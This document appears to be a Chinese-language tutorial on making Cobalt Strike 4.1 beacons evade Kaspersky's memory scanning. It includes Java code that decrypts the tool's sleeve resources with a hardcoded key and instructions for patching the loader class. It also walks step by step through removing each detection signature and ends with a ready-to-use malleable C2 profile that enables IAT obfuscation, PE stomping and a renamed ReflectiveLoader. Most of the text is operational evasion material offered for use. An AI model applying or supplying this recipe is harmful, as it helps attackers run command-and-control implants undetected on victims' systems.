1.起始

在使用cobalt strike 的过程中,卡巴斯基对默认cs 4.1版本生成的beacon进行疯狂的内存查杀,特征多达6个。本次采用手动定位法确认特征,并通过修改配置达到内存免杀效果。

2.解密

从cs4.x开始,对beacon等资源进行了加密,需要解密后才能获得原始dll,为了更快测试修改后的dll,对cs的加载资源代码进行修改,让其可以直接加载未经加密的beacon.dll(感谢WBGII的解密脚本)
cs的资源放在sleeve文件夹内,cs的功能代码为beacon.dll /beacon.x64.dll,是内存查杀重点关注的对象

cs读取资源代码如下


对资源进行解密

//Author: WBGII
package csdecrypt;
import common.SleevedResource;
import java.io.*;
public class Main {
    public static void saveFile(String filename,byte [] data)throws Exception{
        if(data != null){
            String filepath =filename;
            File file  = new File(filepath);
            if(file.exists()){
                file.delete();
            }
            FileOutputStream fos = new FileOutputStream(file);
            fos.write(data,0,data.length);
            fos.flush();
            fos.close();
        }
    }
    public static byte[] toByteArray(File f) throws IOException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length());
        BufferedInputStream in = null;
        try {
            in = new BufferedInputStream(new FileInputStream(f));
            int buf_size = 1024;
            byte[] buffer = new byte[buf_size];
            int len = 0;
            while (-1 != (len = in.read(buffer, 0, buf_size))) {
                bos.write(buffer, 0, len);
            }
            return bos.toByteArray();
        } catch (IOException e) {
            e.printStackTrace();
            throw e;
        } finally {
            try {
                in.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
            bos.close();
        }
    }
    public static void main(String[] var0) throws Exception {
        byte[] csdecrypt = new byte[]{1, -55, -61, 127, 102, 0, 0, 0, 100, 1, 0, 27, -27, -66, 82, -58, 37, 92, 51, 85, -114, -118, 28, -74, 103, -53, 6};

        SleevedResource.Setup(csdecrypt);
        byte[] var7=null;
        File file = new File("sleeve");     
        File[] fs = file.listFiles();   

        for(File ff:fs){                    
            if(!ff.isDirectory())       
                var7 = SleevedResource.readResource(ff.getPath());
                saveFile("sleevedecrypt\\"+ff.getName(),var7);
                System.out.println("解密成功:"+ff.getName());
        }
    }
}

解密后对cs的代码进行修改,让其直接可以加载为无加密的资源(资源替换sleeve文件夹)

/common/SleevedResource.class

去掉解密过程,让其直接读取字节数组后返回,使用javac编译,替换原有的class

3.测试

将解密后的beacon.dll载入内存,使用KAP查杀,发现其并无Cobalt.gen报毒,但是修补后的payload存在报毒,遂怀疑为cs生成payload的过程中往里面加了东西导致该特征出现。

使用Beyond Compare比对原始dll和生成后的payload,发现生成后的payload多出很多字符串

对这些多出的字符串进行删除,发现少了三个报毒,断定其是Cobalt.gen报毒的原因,发现默认的c2 profile中会添加这些垃圾字符串,并没啥用(坑人),直接删除

删除后,将payload载入,发现卡巴不报Cobalt.gen。前三个特征处理完毕。

4.最后两个

后续两个报毒如下:
MEM:Trojan.Win32.Cometer.gen
MEM:Trojan.Win32.SEPEH.gen

使用排列组合对区段进行清除以排查,清除rdata和data后发现载入内存后不杀。
发现rdata中出现敏感字符串ReflectiveLoader,遂修改,过了Cometer.gen

transform-x86 {
        strrep "ReflectiveLoader" "misakaloader";
}

修改前:

修改后:

继续排查,单独提取rdata区段载入内存,发现其报毒SEPEH,就此确认这个查杀点位于此处。使用工具对其他字符清除,发现其继续报毒。为启发式查杀。随后在rdata区域发现如下内容

根据经验猜测修改Sleep,载入后发现KAP不查杀了,看来最后一个特征就是这里了。发现这里是IAT,准备想办法自行加密IAT。咨询WBGII大佬后,知晓c2 profile可以开启加密混淆IAT,遂使用配置 set obfuscate "true"; 成功bypass最后一个报毒。

手动扫描内存

5.提示

由于分阶段的payload存在其他特征,请不要使用。生成stageless payload自行接管远程加载
https://wbglil.gitbook.io/cobalt-strike/
再次鸣谢WBGII大佬的配置帮助
最后附上c2 profile 文件

# default sleep time is 60s
set sleeptime "10000";
# jitter factor 0-99% [randomize callback times]
set jitter    "0";
# maximum number of bytes to send in a DNS A record request
set maxdns    "255";
# indicate that this is the default Beacon profile
set sample_name "001";

stage {
    set stomppe "true";
    set obfuscate "true";
    set cleanup "true";
    transform-x86 {
        strrep "ReflectiveLoader" "misakaloader";
    }
    transform-x64 {
        strrep "ReflectiveLoader" "misakaloader";
    }
}
# define indicators for an HTTP GET
http-get {
    # Beacon will randomly choose from this pool of URIs
    set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";
    client {
        # base64 encode session metadata and store it in the Cookie header.
        metadata {
            base64;
            header "Cookie";
        }
    }

    server {
        # server should send output with no changes
        header "Content-Type" "application/octet-stream";

        output {
            print;
        }
    }
}

# define indicators for an HTTP POST
http-post {
    # Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]
    set uri "/submit.php";

    client {
        header "Content-Type" "application/octet-stream";

        # transmit our session identifier as /submit.php?id=[identifier]
        id {
            parameter "id";
        }

        # post our output with no real changes
        output {
            print;
        }
    }

    # The server's response to our HTTP POST
    server {
        header "Content-Type" "text/html";

        # this will just print an empty string, meh...
        output {
            print;
        }
    }
}
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